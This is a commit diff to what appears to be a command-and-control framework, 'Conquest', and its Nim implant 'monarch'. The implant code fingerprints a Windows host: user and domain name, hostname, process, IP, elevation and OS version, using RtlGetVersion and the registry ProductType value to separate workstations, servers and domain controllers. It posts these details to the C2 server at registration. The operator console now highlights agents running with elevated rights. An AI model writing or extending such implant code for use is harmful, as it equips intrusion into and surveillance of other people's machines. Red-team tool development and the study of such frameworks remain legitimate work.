Implemented Windows Version fingerprinting
This commit is contained in:
@@ -1,16 +1,6 @@
|
|||||||
import winim, os, net
|
import winim, os, net, strformat, strutils, registry
|
||||||
|
|
||||||
import ./types
|
import ./[types, utils]
|
||||||
|
|
||||||
# Username
|
|
||||||
proc getUsername*(): string =
|
|
||||||
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
|
|
||||||
var
|
|
||||||
buffer = newWString(UNLEN + 1)
|
|
||||||
dwSize = DWORD buffer.len
|
|
||||||
|
|
||||||
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
|
||||||
return $buffer[0 ..< int(dwSize)]
|
|
||||||
|
|
||||||
# Hostname/Computername
|
# Hostname/Computername
|
||||||
proc getHostname*(): string =
|
proc getHostname*(): string =
|
||||||
@@ -31,6 +21,22 @@ proc getDomain*(): string =
|
|||||||
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||||
return $buffer[ 0 ..< int(dwSize)]
|
return $buffer[ 0 ..< int(dwSize)]
|
||||||
|
|
||||||
|
# Username
|
||||||
|
proc getUsername*(): string =
|
||||||
|
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
|
||||||
|
|
||||||
|
var
|
||||||
|
buffer = newWString(UNLEN + 1)
|
||||||
|
dwSize = DWORD buffer.len
|
||||||
|
|
||||||
|
if getDomain() != "":
|
||||||
|
# If domain-joined, return username in format DOMAIN\USERNAME
|
||||||
|
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||||
|
else:
|
||||||
|
# If not domain-joined, only return USERNAME
|
||||||
|
discard GetUsernameW(&buffer, &dwSize)
|
||||||
|
|
||||||
|
return $buffer[0 ..< int(dwSize)]
|
||||||
|
|
||||||
# Current process name
|
# Current process name
|
||||||
proc getProcessExe*(): string =
|
proc getProcessExe*(): string =
|
||||||
@@ -42,7 +48,8 @@ proc getProcessExe*(): string =
|
|||||||
if hProcess != 0:
|
if hProcess != 0:
|
||||||
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
|
||||||
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
|
||||||
return string($buffer).extractFilename()
|
# We replace trailing NULL bytes to prevent them from being sent as JSON data
|
||||||
|
return string($buffer).extractFilename().replace("\u0000", "")
|
||||||
finally:
|
finally:
|
||||||
CloseHandle(hProcess)
|
CloseHandle(hProcess)
|
||||||
|
|
||||||
@@ -60,6 +67,45 @@ proc getIPv4Address*(): string =
|
|||||||
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
|
||||||
return $getPrimaryIpAddr()
|
return $getPrimaryIpAddr()
|
||||||
|
|
||||||
# Windows Version
|
# Windows Version fingerprinting
|
||||||
|
proc getProductType(): ProductType =
|
||||||
|
# Instead, we retrieve the product key from the registry
|
||||||
|
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
|
||||||
|
# ProductType REG_SZ WinNT
|
||||||
|
# Possible values are:
|
||||||
|
# LanmanNT -> Server/Domain Controller
|
||||||
|
# ServerNT -> Server
|
||||||
|
# WinNT -> Workstation
|
||||||
|
|
||||||
|
# Using the 'registry' module, we can get the exact registry value
|
||||||
|
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
|
||||||
|
of "WinNT":
|
||||||
|
return WORKSTATION
|
||||||
|
of "ServerNT":
|
||||||
|
return SERVER
|
||||||
|
of "LanmanNT":
|
||||||
|
return DC
|
||||||
|
|
||||||
proc getOSVersion*(): string =
|
proc getOSVersion*(): string =
|
||||||
discard
|
|
||||||
|
proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS
|
||||||
|
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
|
||||||
|
|
||||||
|
when defined(windows):
|
||||||
|
var osInfo: types.OSVersionInfoExW
|
||||||
|
discard rtlGetVersion(osInfo)
|
||||||
|
# echo $int(osInfo.dwMajorVersion)
|
||||||
|
# echo $int(osInfo.dwMinorVersion)
|
||||||
|
# echo $int(osInfo.dwBuildNumber)
|
||||||
|
|
||||||
|
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
|
||||||
|
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
|
||||||
|
# Normally, a value of 1 indicates a workstation os, while other values represent servers
|
||||||
|
# echo $int(osInfo.wProductType).toHex
|
||||||
|
|
||||||
|
# We instead retrieve the
|
||||||
|
return getWindowsVersion(osInfo, getProductType())
|
||||||
|
else:
|
||||||
|
return "Unknown"
|
||||||
|
|
||||||
|
|
||||||
@@ -20,13 +20,11 @@ proc register*(listener: string): string =
|
|||||||
"pid": getProcessId(),
|
"pid": getProcessId(),
|
||||||
"elevated": isElevated()
|
"elevated": isElevated()
|
||||||
}
|
}
|
||||||
|
|
||||||
echo $body
|
echo $body
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Register agent to the Conquest server
|
# Register agent to the Conquest server
|
||||||
let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
||||||
return responseBody
|
|
||||||
except HttpRequestError as err:
|
except HttpRequestError as err:
|
||||||
echo "Registration failed"
|
echo "Registration failed"
|
||||||
quit(0)
|
quit(0)
|
||||||
|
|||||||
@@ -23,3 +23,26 @@ type
|
|||||||
args*: seq[string]
|
args*: seq[string]
|
||||||
result*: TaskResult
|
result*: TaskResult
|
||||||
status*: TaskStatus
|
status*: TaskStatus
|
||||||
|
|
||||||
|
type
|
||||||
|
ProductType* = enum
|
||||||
|
UNKNOWN = 0
|
||||||
|
WORKSTATION = 1
|
||||||
|
DC = 2
|
||||||
|
SERVER = 3
|
||||||
|
|
||||||
|
|
||||||
|
# API Structs
|
||||||
|
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
|
||||||
|
dwOSVersionInfoSize*: ULONG
|
||||||
|
dwMajorVersion*: ULONG
|
||||||
|
dwMinorVersion*: ULONG
|
||||||
|
dwBuildNumber*: ULONG
|
||||||
|
dwPlatformId*: ULONG
|
||||||
|
szCSDVersion*: array[128, WCHAR]
|
||||||
|
wServicePackMajor*: USHORT
|
||||||
|
wServicePackMinor*: USHORT
|
||||||
|
wSuiteMask*: USHORT
|
||||||
|
wProductType*: UCHAR
|
||||||
|
wReserved*: UCHAR
|
||||||
|
|
||||||
|
|||||||
65
agents/monarch/utils.nim
Normal file
65
agents/monarch/utils.nim
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
import strformat
|
||||||
|
import ./types
|
||||||
|
|
||||||
|
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
|
||||||
|
let
|
||||||
|
major = info.dwMajorVersion
|
||||||
|
minor = info.dwMinorVersion
|
||||||
|
build = info.dwBuildNumber
|
||||||
|
spMajor = info.wServicePackMajor
|
||||||
|
|
||||||
|
if major == 10 and minor == 0:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
if build >= 22000:
|
||||||
|
return "Windows 11"
|
||||||
|
else:
|
||||||
|
return "Windows 10"
|
||||||
|
|
||||||
|
else:
|
||||||
|
case build:
|
||||||
|
of 20348:
|
||||||
|
return "Windows Server 2022"
|
||||||
|
of 17763:
|
||||||
|
return "Windows Server 2019"
|
||||||
|
of 14393:
|
||||||
|
return "Windows Server 2016"
|
||||||
|
else:
|
||||||
|
return fmt"Windows Server 10.x (Build: {build})"
|
||||||
|
|
||||||
|
elif major == 6:
|
||||||
|
case minor:
|
||||||
|
of 3:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return "Windows 8.1"
|
||||||
|
else:
|
||||||
|
return "Windows Server 2012 R2"
|
||||||
|
of 2:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return "Windows 8"
|
||||||
|
else:
|
||||||
|
return "Windows Server 2012"
|
||||||
|
of 1:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return "Windows 7"
|
||||||
|
else:
|
||||||
|
return "Windows Server 2008 R2"
|
||||||
|
of 0:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return "Windows Vista"
|
||||||
|
else:
|
||||||
|
return "Windows Server 2008"
|
||||||
|
else:
|
||||||
|
discard
|
||||||
|
|
||||||
|
elif major == 5:
|
||||||
|
if minor == 2:
|
||||||
|
if productType == WORKSTATION:
|
||||||
|
return "Windows XP x64 Edition"
|
||||||
|
else:
|
||||||
|
return "Windows Server 2003"
|
||||||
|
elif minor == 1:
|
||||||
|
return "Windows XP"
|
||||||
|
else:
|
||||||
|
discard
|
||||||
|
|
||||||
|
return "Unknown Windows Version"
|
||||||
@@ -101,7 +101,7 @@ proc agentInteract*(cq: Conquest, name: string) =
|
|||||||
cq.writeLine(fgYellow, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
|
cq.writeLine(fgYellow, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
|
||||||
cq.interactAgent = agent
|
cq.interactAgent = agent
|
||||||
|
|
||||||
while command != "exit":
|
while command != "back":
|
||||||
command = cq.readLine()
|
command = cq.readLine()
|
||||||
cq.withOutput(handleAgentCommand, command)
|
cq.withOutput(handleAgentCommand, command)
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ var parser = newParser:
|
|||||||
command("help"):
|
command("help"):
|
||||||
nohelpflag()
|
nohelpflag()
|
||||||
|
|
||||||
command("exit"):
|
command("back"):
|
||||||
nohelpflag()
|
nohelpflag()
|
||||||
|
|
||||||
proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
|
proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
|
||||||
@@ -29,7 +29,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
|
|||||||
|
|
||||||
case opts.command
|
case opts.command
|
||||||
|
|
||||||
of "exit": # Exit program
|
of "back": # Return to management mode
|
||||||
discard
|
discard
|
||||||
|
|
||||||
of "help": # Display help menu
|
of "help": # Display help menu
|
||||||
|
|||||||
@@ -5,7 +5,5 @@ var cq*: Conquest
|
|||||||
|
|
||||||
# Colors
|
# Colors
|
||||||
# https://colors.sh/
|
# https://colors.sh/
|
||||||
# TODO Replace all colored output with custom colors
|
const red* = "\e[210;66;79m"
|
||||||
const yellow* = "\e[48;5;232m"
|
|
||||||
const resetColor* = "\e[0m"
|
const resetColor* = "\e[0m"
|
||||||
|
|
||||||
|
|||||||
@@ -75,9 +75,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) =
|
|||||||
cq.writeLine(row(headers, widths))
|
cq.writeLine(row(headers, widths))
|
||||||
cq.writeLine(border(midLeft, midMid, midRight, widths))
|
cq.writeLine(border(midLeft, midMid, midRight, widths))
|
||||||
|
|
||||||
# TODO: Highlight elevated processes
|
|
||||||
for a in agents:
|
for a in agents:
|
||||||
let row = @[a.name, a.ip, a.username, a.hostname, a.os, a.process, $a.pid]
|
let row = @[a.name, a.ip, a.username, a.hostname, a.os, a.process, $a.pid]
|
||||||
cq.writeLine(row(row, widths))
|
|
||||||
|
# Highlight agents running within elevated processes
|
||||||
|
if a.elevated:
|
||||||
|
cq.writeLine(bgRed, fgBlack, row(row, widths))
|
||||||
|
else:
|
||||||
|
cq.writeLine(row(row, widths))
|
||||||
|
|
||||||
|
|
||||||
cq.writeLine(border(botLeft, botMid, botRight, widths))
|
cq.writeLine(border(botLeft, botMid, botRight, widths))
|
||||||
Reference in New Issue
Block a user